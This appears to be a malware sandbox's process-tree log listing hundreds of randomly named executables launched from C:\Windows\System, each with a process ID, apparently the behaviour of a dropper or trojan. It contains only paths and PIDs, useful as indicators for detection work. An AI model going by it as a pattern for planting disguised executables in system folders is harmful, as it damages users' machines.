- C:\Windows\System\gKnPzsD.exe
  C:\Windows\System\gKnPzsD.exe
  2⤵
  PID:4204
- C:\Windows\System\ZVkQUAj.exe
  C:\Windows\System\ZVkQUAj.exe
  2⤵
  PID:4220
- C:\Windows\System\GdELkfY.exe
  C:\Windows\System\GdELkfY.exe
  2⤵
  PID:4236
- C:\Windows\System\LwwCmEO.exe
  C:\Windows\System\LwwCmEO.exe
  2⤵
  PID:4252
- C:\Windows\System\ENENcCd.exe
  C:\Windows\System\ENENcCd.exe
  2⤵
  PID:4268
- C:\Windows\System\HhJuPIl.exe
  C:\Windows\System\HhJuPIl.exe
  2⤵
  PID:4284
- C:\Windows\System\kNKAmMw.exe
  C:\Windows\System\kNKAmMw.exe
  2⤵
  PID:4300
- C:\Windows\System\pfefIjD.exe
  C:\Windows\System\pfefIjD.exe
  2⤵
  PID:4316
- C:\Windows\System\WPfnHvw.exe
  C:\Windows\System\WPfnHvw.exe
  2⤵
  PID:4332
- C:\Windows\System\BPTvZVj.exe
  C:\Windows\System\BPTvZVj.exe
  2⤵
  PID:4348
- C:\Windows\System\kXFdswk.exe
  C:\Windows\System\kXFdswk.exe
  2⤵
  PID:4364
- C:\Windows\System\QGrDdJX.exe
  C:\Windows\System\QGrDdJX.exe
  2⤵
  PID:4380
- C:\Windows\System\FVyMwvl.exe
  C:\Windows\System\FVyMwvl.exe
  2⤵
  PID:4500
- C:\Windows\System\qdNiQQs.exe
  C:\Windows\System\qdNiQQs.exe
  2⤵
  PID:4528
- C:\Windows\System\OhGsXjx.exe
  C:\Windows\System\OhGsXjx.exe
  2⤵
  PID:4548
- C:\Windows\System\VtURLKn.exe
  C:\Windows\System\VtURLKn.exe
  2⤵
  PID:4564
- C:\Windows\System\CtWWAei.exe
  C:\Windows\System\CtWWAei.exe
  2⤵
  PID:4580
- C:\Windows\System\bGBtuHp.exe
  C:\Windows\System\bGBtuHp.exe
  2⤵
  PID:4596
- C:\Windows\System\oFdeWUZ.exe
  C:\Windows\System\oFdeWUZ.exe
  2⤵
  PID:4612
- C:\Windows\System\dUhGtpi.exe
  C:\Windows\System\dUhGtpi.exe
  2⤵
  PID:4628
- C:\Windows\System\dYlYDdw.exe
  C:\Windows\System\dYlYDdw.exe
  2⤵
  PID:4644
- C:\Windows\System\POBuNlk.exe
  C:\Windows\System\POBuNlk.exe
  2⤵
  PID:4660
- C:\Windows\System\oBBdVyR.exe
  C:\Windows\System\oBBdVyR.exe
  2⤵
  PID:4676
- C:\Windows\System\dVgzgWo.exe
  C:\Windows\System\dVgzgWo.exe
  2⤵
  PID:4696
- C:\Windows\System\JUAMtdo.exe
  C:\Windows\System\JUAMtdo.exe
  2⤵
  PID:4712
- C:\Windows\System\fXPetak.exe
  C:\Windows\System\fXPetak.exe
  2⤵
  PID:4728
- C:\Windows\System\sqDKrAE.exe
  C:\Windows\System\sqDKrAE.exe
  2⤵
  PID:4744
- C:\Windows\System\zdGAFVX.exe
  C:\Windows\System\zdGAFVX.exe
  2⤵
  PID:4760
- C:\Windows\System\SBhnSng.exe
  C:\Windows\System\SBhnSng.exe
  2⤵
  PID:4780
- C:\Windows\System\gpbvbRM.exe
  C:\Windows\System\gpbvbRM.exe
  2⤵
  PID:4796
- C:\Windows\System\WPtsCvm.exe
  C:\Windows\System\WPtsCvm.exe
  2⤵
  PID:4812
- C:\Windows\System\LWPwoJk.exe
  C:\Windows\System\LWPwoJk.exe
  2⤵
  PID:4828
- C:\Windows\System\WCzFlgs.exe
  C:\Windows\System\WCzFlgs.exe
  2⤵
  PID:4844
- C:\Windows\System\AhmjPQT.exe
  C:\Windows\System\AhmjPQT.exe
  2⤵
  PID:4864
- C:\Windows\System\zWYAxdg.exe
  C:\Windows\System\zWYAxdg.exe
  2⤵
  PID:4880
- C:\Windows\System\TkdwcQP.exe
  C:\Windows\System\TkdwcQP.exe
  2⤵
  PID:4896
- C:\Windows\System\dnGvQTz.exe
  C:\Windows\System\dnGvQTz.exe
  2⤵
  PID:4912
- C:\Windows\System\FqkYaCX.exe
  C:\Windows\System\FqkYaCX.exe
  2⤵
  PID:4928
- C:\Windows\System\IPAzxJh.exe
  C:\Windows\System\IPAzxJh.exe
  2⤵
  PID:4944
- C:\Windows\System\pstAmWt.exe
  C:\Windows\System\pstAmWt.exe
  2⤵
  PID:4960
- C:\Windows\System\goXxMPp.exe
  C:\Windows\System\goXxMPp.exe
  2⤵
  PID:4976
- C:\Windows\System\eftjpVh.exe
  C:\Windows\System\eftjpVh.exe
  2⤵
  PID:4992
- C:\Windows\System\lCoCqws.exe
  C:\Windows\System\lCoCqws.exe
  2⤵
  PID:5012
- C:\Windows\System\xdSiGLb.exe
  C:\Windows\System\xdSiGLb.exe
  2⤵
  PID:5028
- C:\Windows\System\qKycIUj.exe
  C:\Windows\System\qKycIUj.exe
  2⤵
  PID:5044
- C:\Windows\System\TeZmtAu.exe
  C:\Windows\System\TeZmtAu.exe
  2⤵
  PID:5060
- C:\Windows\System\EfcprnN.exe
  C:\Windows\System\EfcprnN.exe
  2⤵
  PID:5076
- C:\Windows\System\aGUUlip.exe
  C:\Windows\System\aGUUlip.exe
  2⤵
  PID:5092
- C:\Windows\System\mSkgfVM.exe
  C:\Windows\System\mSkgfVM.exe
  2⤵
  PID:5108
- C:\Windows\System\anlplvf.exe
  C:\Windows\System\anlplvf.exe
  2⤵
  PID:3404
- C:\Windows\System\pLeOtAJ.exe
  C:\Windows\System\pLeOtAJ.exe
  2⤵
  PID:4056
- C:\Windows\System\TnZBObw.exe
  C:\Windows\System\TnZBObw.exe
  2⤵
  PID:3892
- C:\Windows\System\ZYxaoOw.exe
  C:\Windows\System\ZYxaoOw.exe
  2⤵
  PID:884
- C:\Windows\System\TlmmBuz.exe
  C:\Windows\System\TlmmBuz.exe
  2⤵
  PID:2756
- C:\Windows\System\eeVjQrs.exe
  C:\Windows\System\eeVjQrs.exe
  2⤵
  PID:4040
- C:\Windows\System\fttinrW.exe
  C:\Windows\System\fttinrW.exe
  2⤵
  PID:1876
- C:\Windows\System\xtKqbuz.exe
  C:\Windows\System\xtKqbuz.exe
  2⤵
  PID:3200
- C:\Windows\System\VAGxMBQ.exe
  C:\Windows\System\VAGxMBQ.exe
  2⤵
  PID:2952
- C:\Windows\System\cnBQavg.exe
  C:\Windows\System\cnBQavg.exe
  2⤵
  PID:4508
- C:\Windows\System\hddsGWX.exe
  C:\Windows\System\hddsGWX.exe
  2⤵
  PID:4516
- C:\Windows\System\zpuLtIc.exe
  C:\Windows\System\zpuLtIc.exe
  2⤵
  PID:4448
- C:\Windows\System\OTGtjDB.exe
  C:\Windows\System\OTGtjDB.exe
  2⤵
  PID:3816
- C:\Windows\System\Nkatpzd.exe
  C:\Windows\System\Nkatpzd.exe
  2⤵
  PID:1628
- C:\Windows\System\BawWEbr.exe
  C:\Windows\System\BawWEbr.exe
  2⤵
  PID:4180
- C:\Windows\System\CybSpxM.exe
  C:\Windows\System\CybSpxM.exe
  2⤵
  PID:4344
- C:\Windows\System\ECgduNz.exe
  C:\Windows\System\ECgduNz.exe
  2⤵
  PID:4136
- C:\Windows\System\fxIzoOX.exe
  C:\Windows\System\fxIzoOX.exe
  2⤵
  PID:4924
- C:\Windows\System\SCIyIaQ.exe
  C:\Windows\System\SCIyIaQ.exe
  2⤵
  PID:4988
- C:\Windows\System\QaqzubP.exe
  C:\Windows\System\QaqzubP.exe
  2⤵
  PID:1912
- C:\Windows\System\BzbWQOh.exe
  C:\Windows\System\BzbWQOh.exe
  2⤵
  PID:2372
- C:\Windows\System\YidzICl.exe
  C:\Windows\System\YidzICl.exe
  2⤵
  PID:3068
- C:\Windows\System\MHgwdnB.exe
  C:\Windows\System\MHgwdnB.exe
  2⤵
  PID:1044
- C:\Windows\System\cWgTsmK.exe
  C:\Windows\System\cWgTsmK.exe
  2⤵
  PID:4740
- C:\Windows\System\jpkpgvs.exe
  C:\Windows\System\jpkpgvs.exe
  2⤵
  PID:4804
- C:\Windows\System\yhBgtij.exe
  C:\Windows\System\yhBgtij.exe
  2⤵
  PID:4708
- C:\Windows\System\bRrmdFS.exe
  C:\Windows\System\bRrmdFS.exe
  2⤵
  PID:4876
- C:\Windows\System\oimFLBU.exe
  C:\Windows\System\oimFLBU.exe
  2⤵
  PID:4908
- C:\Windows\System\njcbuis.exe
  C:\Windows\System\njcbuis.exe
  2⤵
  PID:5036
- C:\Windows\System\aemQMGS.exe
  C:\Windows\System\aemQMGS.exe
  2⤵
  PID:3796
- C:\Windows\System\LhdXOQH.exe
  C:\Windows\System\LhdXOQH.exe
  2⤵
  PID:2700
- C:\Windows\System\WtzNebH.exe
  C:\Windows\System\WtzNebH.exe
  2⤵
  PID:1328
- C:\Windows\System\tRZQMpa.exe
  C:\Windows\System\tRZQMpa.exe
  2⤵
  PID:3424
- C:\Windows\System\utwPtiv.exe
  C:\Windows\System\utwPtiv.exe
  2⤵
  PID:3976
- C:\Windows\System\xESsfsT.exe
  C:\Windows\System\xESsfsT.exe
  2⤵
  PID:2392
- C:\Windows\System\HbGzkfh.exe
  C:\Windows\System\HbGzkfh.exe
  2⤵
  PID:4468
- C:\Windows\System\bQAfgmc.exe
  C:\Windows\System\bQAfgmc.exe
  2⤵
  PID:3528
- C:\Windows\System\LvxBzHz.exe
  C:\Windows\System\LvxBzHz.exe
  2⤵
  PID:4560
- C:\Windows\System\LDijBLr.exe
  C:\Windows\System\LDijBLr.exe
  2⤵
  PID:4656
- C:\Windows\System\OQqmWXc.exe
  C:\Windows\System\OQqmWXc.exe
  2⤵
  PID:4752
- C:\Windows\System\RYdQAOf.exe
  C:\Windows\System\RYdQAOf.exe
  2⤵
  PID:4792
- C:\Windows\System\GbQhgEh.exe
  C:\Windows\System\GbQhgEh.exe
  2⤵
  PID:3992
- C:\Windows\System\ppPYdxI.exe
  C:\Windows\System\ppPYdxI.exe
  2⤵
  PID:4512
- C:\Windows\System\godjpvV.exe
  C:\Windows\System\godjpvV.exe
  2⤵
  PID:4216
- C:\Windows\System\wDKiVCt.exe
  C:\Windows\System\wDKiVCt.exe
  2⤵
  PID:4952
- C:\Windows\System\ZnZpCxg.exe
  C:\Windows\System\ZnZpCxg.exe
  2⤵
  PID:4492
- C:\Windows\System\IzLkerR.exe
  C:\Windows\System\IzLkerR.exe
  2⤵
  PID:1764
- C:\Windows\System\jEqmDRP.exe
  C:\Windows\System\jEqmDRP.exe
  2⤵
  PID:2740
- C:\Windows\System\QpYIbNX.exe
  C:\Windows\System\QpYIbNX.exe
  2⤵
  PID:4400
- C:\Windows\System\gFDwXze.exe
  C:\Windows\System\gFDwXze.exe
  2⤵
  PID:4416
- C:\Windows\System\KrOTulx.exe
  C:\Windows\System\KrOTulx.exe
  2⤵
  PID:5056
- C:\Windows\System\DtNamPW.exe
  C:\Windows\System\DtNamPW.exe
  2⤵
  PID:5088
- C:\Windows\System\WPlffDm.exe
  C:\Windows\System\WPlffDm.exe
  2⤵
  PID:3960
- C:\Windows\System\FUXeRgL.exe
  C:\Windows\System\FUXeRgL.exe
  2⤵
  PID:4100
- C:\Windows\System\LGNFtKL.exe
  C:\Windows\System\LGNFtKL.exe
  2⤵
  PID:4260
- C:\Windows\System\TnAmXrv.exe
  C:\Windows\System\TnAmXrv.exe
  2⤵
  PID:4164
- C:\Windows\System\yyfHXqE.exe
  C:\Windows\System\yyfHXqE.exe
  2⤵
  PID:4540
- C:\Windows\System\dtZPmAN.exe
  C:\Windows\System\dtZPmAN.exe
  2⤵
  PID:4672
- C:\Windows\System\xwSuQxX.exe
  C:\Windows\System\xwSuQxX.exe
  2⤵
  PID:4604
- C:\Windows\System\YiFABXu.exe
  C:\Windows\System\YiFABXu.exe
  2⤵
  PID:4904
- C:\Windows\System\enighvu.exe
  C:\Windows\System\enighvu.exe
  2⤵
  PID:5000
- C:\Windows\System\fmWhMBu.exe
  C:\Windows\System\fmWhMBu.exe
  2⤵
  PID:5072
- C:\Windows\System\DfNcPSv.exe
  C:\Windows\System\DfNcPSv.exe
  2⤵
  PID:3924
- C:\Windows\System\GkiWRok.exe
  C:\Windows\System\GkiWRok.exe
  2⤵
  PID:1956
- C:\Windows\System\lKTscxX.exe
  C:\Windows\System\lKTscxX.exe
  2⤵
  PID:2804
- C:\Windows\System\fqTjtmG.exe
  C:\Windows\System\fqTjtmG.exe
  2⤵
  PID:3560
- C:\Windows\System\OJpBBpv.exe
  C:\Windows\System\OJpBBpv.exe
  2⤵
  PID:4464
- C:\Windows\System\JgwvMBz.exe
  C:\Windows\System\JgwvMBz.exe
  2⤵
  PID:3980
- C:\Windows\System\HdShhFa.exe
  C:\Windows\System\HdShhFa.exe
  2⤵
  PID:4624
- C:\Windows\System\XkNPxSL.exe
  C:\Windows\System\XkNPxSL.exe
  2⤵
  PID:4788
- C:\Windows\System\lfaCdAw.exe
  C:\Windows\System\lfaCdAw.exe
  2⤵
  PID:4524
- C:\Windows\System\EREkiNT.exe
  C:\Windows\System\EREkiNT.exe
  2⤵
  PID:4360
- C:\Windows\System\aWdNyPV.exe
  C:\Windows\System\aWdNyPV.exe
  2⤵
  PID:4280
- C:\Windows\System\MCkFaGv.exe
  C:\Windows\System\MCkFaGv.exe
  2⤵
  PID:4984
- C:\Windows\System\kVFBwXh.exe
  C:\Windows\System\kVFBwXh.exe
  2⤵
  PID:2744
- C:\Windows\System\VvmDFgM.exe
  C:\Windows\System\VvmDFgM.exe
  2⤵
  PID:4444
- C:\Windows\System\DFVIAeT.exe
  C:\Windows\System\DFVIAeT.exe
  2⤵
  PID:5084
- C:\Windows\System\byTBxYq.exe
  C:\Windows\System\byTBxYq.exe
  2⤵
  PID:4772
- C:\Windows\System\Axwnxeh.exe
  C:\Windows\System\Axwnxeh.exe
  2⤵
  PID:4536
- C:\Windows\System\WdrmoFO.exe
  C:\Windows\System\WdrmoFO.exe
  2⤵
  PID:4576
- C:\Windows\System\xZdJfdm.exe
  C:\Windows\System\xZdJfdm.exe
  2⤵
  PID:3880
- C:\Windows\System\EmJPIBF.exe
  C:\Windows\System\EmJPIBF.exe
  2⤵
  PID:4196
- C:\Windows\System\wcXziyM.exe
  C:\Windows\System\wcXziyM.exe
  2⤵
  PID:5100
- C:\Windows\System\kmGLTlh.exe
  C:\Windows\System\kmGLTlh.exe
  2⤵
  PID:3752
- C:\Windows\System\VaRwBum.exe
  C:\Windows\System\VaRwBum.exe
  2⤵
  PID:1688
- C:\Windows\System\efEjnSk.exe
  C:\Windows\System\efEjnSk.exe
  2⤵
  PID:4200
- C:\Windows\System\vZohJLT.exe
  C:\Windows\System\vZohJLT.exe
  2⤵
  PID:4972
- C:\Windows\System\IVRZxbd.exe
  C:\Windows\System\IVRZxbd.exe
  2⤵
  PID:4460
- C:\Windows\System\FpSDJWl.exe
  C:\Windows\System\FpSDJWl.exe
  2⤵
  PID:4292
- C:\Windows\System\RqfOYxy.exe
  C:\Windows\System\RqfOYxy.exe
  2⤵
  PID:2676
- C:\Windows\System\AgTbNoW.exe
  C:\Windows\System\AgTbNoW.exe
  2⤵
  PID:4488
- C:\Windows\System\bVbNdYP.exe
  C:\Windows\System\bVbNdYP.exe
  2⤵
  PID:4428
- C:\Windows\System\fohRYGh.exe
  C:\Windows\System\fohRYGh.exe
  2⤵
  PID:4920
- C:\Windows\System\kzeaBLK.exe
  C:\Windows\System\kzeaBLK.exe
  2⤵
  PID:4212
- C:\Windows\System\SXPokNc.exe
  C:\Windows\System\SXPokNc.exe
  2⤵
  PID:5024
- C:\Windows\System\BcDNQBu.exe
  C:\Windows\System\BcDNQBu.exe
  2⤵
  PID:4620
- C:\Windows\System\teLzpfC.exe
  C:\Windows\System\teLzpfC.exe
  2⤵
  PID:4704
- C:\Windows\System\cHgzlcw.exe
  C:\Windows\System\cHgzlcw.exe
  2⤵
  PID:3420
- C:\Windows\System\PUAszxF.exe
  C:\Windows\System\PUAszxF.exe
  2⤵
  PID:4776
- C:\Windows\System\KsSZcRT.exe
  C:\Windows\System\KsSZcRT.exe
  2⤵
  PID:5128
- C:\Windows\System\OTyRJwO.exe
  C:\Windows\System\OTyRJwO.exe
  2⤵
  PID:5180
- C:\Windows\System\dKEyODP.exe
  C:\Windows\System\dKEyODP.exe
  2⤵
  PID:5196
- C:\Windows\System\ZIinkYZ.exe
  C:\Windows\System\ZIinkYZ.exe
  2⤵
  PID:5212
- C:\Windows\System\LkIlvMo.exe
  C:\Windows\System\LkIlvMo.exe
  2⤵
  PID:5228
- C:\Windows\System\oYwOibu.exe
  C:\Windows\System\oYwOibu.exe
  2⤵
  PID:5244
- C:\Windows\System\hjgvYtm.exe
  C:\Windows\System\hjgvYtm.exe
  2⤵
  PID:5260
- C:\Windows\System\WZYyRwe.exe
  C:\Windows\System\WZYyRwe.exe
  2⤵
  PID:5276
- C:\Windows\System\jevWCCJ.exe
  C:\Windows\System\jevWCCJ.exe
  2⤵
  PID:5292
- C:\Windows\System\XpdBEOc.exe
  C:\Windows\System\XpdBEOc.exe
  2⤵
  PID:5308
- C:\Windows\System\GIhnSsU.exe
  C:\Windows\System\GIhnSsU.exe
  2⤵
  PID:5324
- C:\Windows\System\tHkPeJN.exe
  C:\Windows\System\tHkPeJN.exe
  2⤵
  PID:5344
- C:\Windows\System\vtwwrcx.exe
  C:\Windows\System\vtwwrcx.exe
  2⤵
  PID:5360
- C:\Windows\System\AKEMBOu.exe
  C:\Windows\System\AKEMBOu.exe
  2⤵
  PID:5436
- C:\Windows\System\NxjMbKs.exe
  C:\Windows\System\NxjMbKs.exe
  2⤵
  PID:5452
- C:\Windows\System\XIwylpU.exe
  C:\Windows\System\XIwylpU.exe
  2⤵
  PID:5468
- C:\Windows\System\KSeYCiO.exe
  C:\Windows\System\KSeYCiO.exe
  2⤵
  PID:5484
- C:\Windows\System\yfcHpKO.exe
  C:\Windows\System\yfcHpKO.exe
  2⤵
  PID:5500
- C:\Windows\System\cpiaaRm.exe
  C:\Windows\System\cpiaaRm.exe
  2⤵
  PID:5516
- C:\Windows\System\DTQxyqg.exe
  C:\Windows\System\DTQxyqg.exe
  2⤵
  PID:5532
- C:\Windows\System\BztAepP.exe
  C:\Windows\System\BztAepP.exe
  2⤵
  PID:5560
- C:\Windows\System\rraaYTa.exe
  C:\Windows\System\rraaYTa.exe
  2⤵
  PID:5580
- C:\Windows\System\GKYnIBG.exe
  C:\Windows\System\GKYnIBG.exe
  2⤵
  PID:5596
- C:\Windows\System\Yfhbntc.exe
  C:\Windows\System\Yfhbntc.exe
  2⤵
  PID:5612
- C:\Windows\System\kABkctR.exe
  C:\Windows\System\kABkctR.exe
  2⤵
  PID:5628
- C:\Windows\System\eVwnWAN.exe
  C:\Windows\System\eVwnWAN.exe
  2⤵
  PID:5644
- C:\Windows\System\NVLpqtQ.exe
  C:\Windows\System\NVLpqtQ.exe
  2⤵
  PID:5660
- C:\Windows\System\QeMzEqB.exe
  C:\Windows\System\QeMzEqB.exe
  2⤵
  PID:5680
- C:\Windows\System\oVQRTeF.exe
  C:\Windows\System\oVQRTeF.exe
  2⤵
  PID:5696
- C:\Windows\System\peUzSPD.exe
  C:\Windows\System\peUzSPD.exe
  2⤵
  PID:5712
- C:\Windows\System\tUubHoj.exe
  C:\Windows\System\tUubHoj.exe
  2⤵
  PID:5728
- C:\Windows\System\ArAjJtd.exe
  C:\Windows\System\ArAjJtd.exe
  2⤵
  PID:5748
- C:\Windows\System\magnPVj.exe
  C:\Windows\System\magnPVj.exe
  2⤵
  PID:5764
- C:\Windows\System\FSmJBDz.exe
  C:\Windows\System\FSmJBDz.exe
  2⤵
  PID:5780
- C:\Windows\System\DDUpSOE.exe
  C:\Windows\System\DDUpSOE.exe
  2⤵
  PID:5796
- C:\Windows\System\IyJxGFa.exe
  C:\Windows\System\IyJxGFa.exe
  2⤵
  PID:5812
- C:\Windows\System\KRKcmHQ.exe
  C:\Windows\System\KRKcmHQ.exe
  2⤵
  PID:5828
- C:\Windows\System\jCJrQWR.exe
  C:\Windows\System\jCJrQWR.exe
  2⤵
  PID:5844
- C:\Windows\System\GfYdCIq.exe
  C:\Windows\System\GfYdCIq.exe
  2⤵
  PID:5860
- C:\Windows\System\jtWTOnL.exe
  C:\Windows\System\jtWTOnL.exe
  2⤵
  PID:5876
- C:\Windows\System\AQuhwvg.exe
  C:\Windows\System\AQuhwvg.exe
  2⤵
  PID:5892
- C:\Windows\System\gwHFJif.exe
  C:\Windows\System\gwHFJif.exe
  2⤵
  PID:5908
- C:\Windows\System\nWhdeWl.exe
  C:\Windows\System\nWhdeWl.exe
  2⤵
  PID:5924
- C:\Windows\System\zCHItar.exe
  C:\Windows\System\zCHItar.exe
  2⤵
  PID:5940
- C:\Windows\System\ZFbrvkH.exe
  C:\Windows\System\ZFbrvkH.exe
  2⤵
  PID:5956
- C:\Windows\System\GWPYyOx.exe
  C:\Windows\System\GWPYyOx.exe
  2⤵
  PID:5972
- C:\Windows\System\ZeFymQz.exe
  C:\Windows\System\ZeFymQz.exe
  2⤵
  PID:5988
- C:\Windows\System\oSzZFJu.exe
  C:\Windows\System\oSzZFJu.exe
  2⤵
  PID:6008
- C:\Windows\System\dzUvHTi.exe
  C:\Windows\System\dzUvHTi.exe
  2⤵
  PID:6024
- C:\Windows\System\EIfSrwx.exe
  C:\Windows\System\EIfSrwx.exe
  2⤵
  PID:6040
- C:\Windows\System\PZWwnEE.exe
  C:\Windows\System\PZWwnEE.exe
  2⤵
  PID:6056
- C:\Windows\System\PlBxEzY.exe
  C:\Windows\System\PlBxEzY.exe
  2⤵
  PID:6112
- C:\Windows\System\sEhUzCu.exe
  C:\Windows\System\sEhUzCu.exe
  2⤵
  PID:6128
- C:\Windows\System\EbODOJp.exe
  C:\Windows\System\EbODOJp.exe
  2⤵
  PID:4592
- C:\Windows\System\RgLIizM.exe
  C:\Windows\System\RgLIizM.exe
  2⤵
  PID:4312
- C:\Windows\System\UYmcyRl.exe
  C:\Windows\System\UYmcyRl.exe
  2⤵
  PID:4756
- C:\Windows\System\vyWZiWu.exe
  C:\Windows\System\vyWZiWu.exe
  2⤵
  PID:5124
- C:\Windows\System\lVvdzYU.exe
  C:\Windows\System\lVvdzYU.exe
  2⤵
  PID:4692
- C:\Windows\System\BElZimD.exe
  C:\Windows\System\BElZimD.exe
  2⤵
  PID:5224
- C:\Windows\System\uYeEALb.exe
  C:\Windows\System\uYeEALb.exe
  2⤵
  PID:4608
- C:\Windows\System\XgvOqSC.exe
  C:\Windows\System\XgvOqSC.exe
  2⤵
  PID:5316
- C:\Windows\System\FeCiwda.exe
  C:\Windows\System\FeCiwda.exe
  2⤵
  PID:1744
- C:\Windows\System\fAVbFyw.exe
  C:\Windows\System\fAVbFyw.exe
  2⤵
  PID:5164
- C:\Windows\System\oMxIbQC.exe
  C:\Windows\System\oMxIbQC.exe
  2⤵
  PID:5340
- C:\Windows\System\xnzjKmv.exe
  C:\Windows\System\xnzjKmv.exe
  2⤵
  PID:5152
- C:\Windows\System\kRPgiBd.exe
  C:\Windows\System\kRPgiBd.exe
  2⤵
  PID:5176
- C:\Windows\System\KYQcact.exe
  C:\Windows\System\KYQcact.exe
  2⤵
  PID:5304
- C:\Windows\System\AyQtmmn.exe
  C:\Windows\System\AyQtmmn.exe
  2⤵
  PID:5380
- C:\Windows\System\xcKJJCz.exe
  C:\Windows\System\xcKJJCz.exe
  2⤵
  PID:5396
- C:\Windows\System\zZtyHRY.exe
  C:\Windows\System\zZtyHRY.exe
  2⤵
  PID:5408
- C:\Windows\System\phplLdP.exe
  C:\Windows\System\phplLdP.exe
  2⤵
  PID:5428
- C:\Windows\System\WOQNSQh.exe
  C:\Windows\System\WOQNSQh.exe
  2⤵
  PID:5460
- C:\Windows\System\xRrsTeJ.exe
  C:\Windows\System\xRrsTeJ.exe
  2⤵
  PID:5476
- C:\Windows\System\tMDazbx.exe
  C:\Windows\System\tMDazbx.exe
  2⤵
  PID:5540
- C:\Windows\System\COoCDCm.exe
  C:\Windows\System\COoCDCm.exe
  2⤵
  PID:5620
- C:\Windows\System\LmHBGvB.exe
  C:\Windows\System\LmHBGvB.exe
  2⤵
  PID:5652
- C:\Windows\System\BjZwudk.exe
  C:\Windows\System\BjZwudk.exe
  2⤵
  PID:5720
- C:\Windows\System\RmmLKDZ.exe
  C:\Windows\System\RmmLKDZ.exe
  2⤵
  PID:5756
- C:\Windows\System\HgRKKZu.exe
  C:\Windows\System\HgRKKZu.exe
  2⤵
  PID:6020
- C:\Windows\System\DQcPQnQ.exe
  C:\Windows\System\DQcPQnQ.exe
  2⤵
  PID:5952
- C:\Windows\System\BNQaFSZ.exe
  C:\Windows\System\BNQaFSZ.exe
  2⤵
  PID:5856
- C:\Windows\System\ocUUHMo.exe
  C:\Windows\System\ocUUHMo.exe
  2⤵
  PID:5792
- C:\Windows\System\zecAYAs.exe
  C:\Windows\System\zecAYAs.exe
  2⤵
  PID:5668
- C:\Windows\System\XDkMuSp.exe
  C:\Windows\System\XDkMuSp.exe
  2⤵
  PID:5576
- C:\Windows\System\xqJcXFV.exe
  C:\Windows\System\xqJcXFV.exe
  2⤵
  PID:5672
- C:\Windows\System\JCGQngA.exe
  C:\Windows\System\JCGQngA.exe
  2⤵
  PID:5744
- C:\Windows\System\kasqNpK.exe
  C:\Windows\System\kasqNpK.exe
  2⤵
  PID:5836
- C:\Windows\System\FndxyXH.exe
  C:\Windows\System\FndxyXH.exe
  2⤵
  PID:5900
- C:\Windows\System\sRDrCwP.exe
  C:\Windows\System\sRDrCwP.exe
  2⤵
  PID:5964
- C:\Windows\System\KmxrYjw.exe
  C:\Windows\System\KmxrYjw.exe
  2⤵
  PID:6004
- C:\Windows\System\RgsCQDc.exe
  C:\Windows\System\RgsCQDc.exe
  2⤵
  PID:6072
- C:\Windows\System\OUJkgOr.exe
  C:\Windows\System\OUJkgOr.exe
  2⤵
  PID:6088
- C:\Windows\System\djaByVR.exe
  C:\Windows\System\djaByVR.exe
  2⤵
  PID:6104
- C:\Windows\System\hZywDtH.exe
  C:\Windows\System\hZywDtH.exe
  2⤵
  PID:4824
- C:\Windows\System\QHeLcOA.exe
  C:\Windows\System\QHeLcOA.exe
  2⤵
  PID:6140
- C:\Windows\System\QpruNTA.exe
  C:\Windows\System\QpruNTA.exe
  2⤵
  PID:4936
- C:\Windows\System\PfyOUBJ.exe
  C:\Windows\System\PfyOUBJ.exe
  2⤵
  PID:5252
- C:\Windows\System\iWFTSrB.exe
  C:\Windows\System\iWFTSrB.exe
  2⤵
  PID:5140
- C:\Windows\System\tFvUUdf.exe
  C:\Windows\System\tFvUUdf.exe
  2⤵
  PID:5272
- C:\Windows\System\TUabqCQ.exe
  C:\Windows\System\TUabqCQ.exe
  2⤵
  PID:5352
- C:\Windows\System\GWLFqPE.exe
  C:\Windows\System\GWLFqPE.exe
  2⤵
  PID:5492
- C:\Windows\System\wBDJcqV.exe
  C:\Windows\System\wBDJcqV.exe
  2⤵
  PID:6052
- C:\Windows\System\fCibgPY.exe
  C:\Windows\System\fCibgPY.exe
  2⤵
  PID:5888
- C:\Windows\System\EqSPBYw.exe
  C:\Windows\System\EqSPBYw.exe
  2⤵
  PID:5984
- C:\Windows\System\fGYjqfv.exe
  C:\Windows\System\fGYjqfv.exe
  2⤵
  PID:2760
- C:\Windows\System\jeJCmhM.exe
  C:\Windows\System\jeJCmhM.exe
  2⤵
  PID:5172
- C:\Windows\System\yNWXHHm.exe
  C:\Windows\System\yNWXHHm.exe
  2⤵
  PID:5404
- C:\Windows\System\wBDzkWB.exe
  C:\Windows\System\wBDzkWB.exe
  2⤵
  PID:5544
- C:\Windows\System\TELlIMw.exe
  C:\Windows\System\TELlIMw.exe
  2⤵
  PID:5776
- C:\Windows\System\HRofZnA.exe
  C:\Windows\System\HRofZnA.exe
  2⤵
  PID:5804
- C:\Windows\System\LExIeTA.exe
  C:\Windows\System\LExIeTA.exe
  2⤵
  PID:6064
- C:\Windows\System\noVcFSi.exe
  C:\Windows\System\noVcFSi.exe
  2⤵
  PID:6100
- C:\Windows\System\nvHVBle.exe
  C:\Windows\System\nvHVBle.exe
  2⤵
  PID:5256
- C:\Windows\System\eDISRJW.exe
  C:\Windows\System\eDISRJW.exe
  2⤵
  PID:5524
- C:\Windows\System\zKgSDka.exe
  C:\Windows\System\zKgSDka.exe
  2⤵
  PID:4408
- C:\Windows\System\nvITdzI.exe
  C:\Windows\System\nvITdzI.exe
  2⤵
  PID:5916
- C:\Windows\System\VEOoNzF.exe
  C:\Windows\System\VEOoNzF.exe
  2⤵
  PID:5592
- C:\Windows\System\sLPrQJd.exe
  C:\Windows\System\sLPrQJd.exe
  2⤵
  PID:5512
- C:\Windows\System\RgoNfiz.exe
  C:\Windows\System\RgoNfiz.exe
  2⤵
  PID:5936
- C:\Windows\System\PTNXvdc.exe
  C:\Windows\System\PTNXvdc.exe
  2⤵
  PID:5872
- C:\Windows\System\XRzfVBV.exe
  C:\Windows\System\XRzfVBV.exe
  2⤵
  PID:6080
- C:\Windows\System\Vzopfcp.exe
  C:\Windows\System\Vzopfcp.exe
  2⤵
  PID:4484
- C:\Windows\System\VNMRZXu.exe
  C:\Windows\System\VNMRZXu.exe
  2⤵
  PID:5392
- C:\Windows\System\mrYwoxD.exe
  C:\Windows\System\mrYwoxD.exe
  2⤵
  PID:5692
- C:\Windows\System\DbelipZ.exe
  C:\Windows\System\DbelipZ.exe
  2⤵
  PID:5704
- C:\Windows\System\aHfXKTu.exe
  C:\Windows\System\aHfXKTu.exe
  2⤵
  PID:5932
- C:\Windows\System\eyBqvQV.exe
  C:\Windows\System\eyBqvQV.exe
  2⤵
  PID:5528
- C:\Windows\System\EoaOEGs.exe
  C:\Windows\System\EoaOEGs.exe
  2⤵
  PID:6120
